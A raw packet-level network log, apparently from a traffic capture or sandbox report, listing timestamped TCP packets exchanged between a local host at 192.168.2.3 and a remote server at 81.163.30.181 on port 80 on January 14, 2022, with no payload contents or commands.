Jan 14, 2022 20:23:52.343034983 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343066931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343103886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343142986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343153954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343183041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343189955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343224049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343264103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343301058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343322039 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343341112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343372107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343396902 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343410969 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343410969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343461990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343533039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343570948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343585014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343610048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343631983 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343651056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343688011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343740940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343744040 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343780994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343789101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343820095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343858957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343897104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343909025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343940020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.343943119 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.343980074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344019890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344057083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344093084 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.344096899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344101906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.344136953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344175100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344214916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344224930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.344254971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344258070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.344294071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344336033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344372988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344386101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.344412088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344419003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.344451904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344491959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344531059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344542027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.344572067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344578981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.344611883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344650984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344687939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344702959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.344728947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.344733000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.348078966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.349565029 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.375812054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.375868082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.375955105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.401978970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402085066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402152061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402204037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402208090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402241945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402276039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402297974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402313948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402354002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402354956 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402380943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402388096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402404070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402425051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402430058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402462006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402472973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402497053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402506113 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402534008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402543068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402569056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402605057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402611017 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402632952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402642012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402667046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402677059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402688980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402714014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402729988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402750015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402760983 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402786016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402800083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402821064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402832985 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402858019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402878046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402894974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402908087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402931929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.402939081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.402966976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403007030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403022051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403038025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403059959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403089046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403095007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403110981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403134108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403147936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403171062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403183937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403209925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403239012 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403248072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403279066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403284073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403297901 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403321981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403358936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403383970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403390884 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403398037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403414011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403434992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403470039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403486967 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403506994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403525114 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403544903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403563023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403588057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403599024 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403625011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403636932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403661013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403692007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403695107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403713942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403731108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403737068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403768063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403798103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403804064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403834105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403841972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403873920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403877020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403903961 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403914928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403925896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403953075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.403964043 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.403987885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404000998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404025078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404042006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404067993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404072046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404115915 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404170990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404206038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404241085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404274940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404275894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404283047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404303074 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404329062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404341936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404439926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404836893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404871941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404908895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404932022 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404944897 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404946089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404969931 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.404984951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.404999971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405024052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405060053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405087948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405097961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405131102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405136108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405172110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405174017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405188084 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405211926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405247927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405276060 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405286074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405319929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405330896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405344009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405369043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405391932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405404091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405426979 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405441999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405461073 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405478954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405508041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405514002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405534029 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405544043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405559063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405580997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405616045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405637026 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405649900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405667067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405685902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405699015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405723095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405736923 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405760050 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405772924 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405797958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405832052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405837059 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405860901 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405884981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405889034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405926943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405961990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.405982018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.405997038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406018019 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406033039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406069040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406069994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406088114 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406105042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406116009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406158924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406197071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406213045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406232119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406243086 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406269073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406280994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406305075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406317949 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406342983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406354904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406380892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406392097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406416893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406426907 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406452894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406464100 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406490088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.406501055 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.406533957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.432807922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.435389042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.437001944 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.463327885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.463387012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.463521004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.464833975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.464900970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.464967012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465085983 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.465111017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465148926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465182066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.465188026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465243101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.465328932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465365887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465411901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465430975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.465554953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465693951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465759039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465761900 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.465799093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465822935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.465837002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465936899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465976000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.465990067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466015100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466031075 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466053963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466094017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466134071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466139078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466171026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466176033 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466211081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466250896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466286898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466303110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466326952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466330051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466367960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466408014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466448069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466456890 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466485023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466492891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466525078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466563940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466602087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466615915 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466641903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466643095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466681004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466720104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466759920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466768026 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466797113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466804981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466837883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466876030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466912985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466917038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466953039 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.466953039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.466993093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.467031956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.467072010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.467081070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.467108965 CET	80	49866	81.163.30.181	192.168.2.3
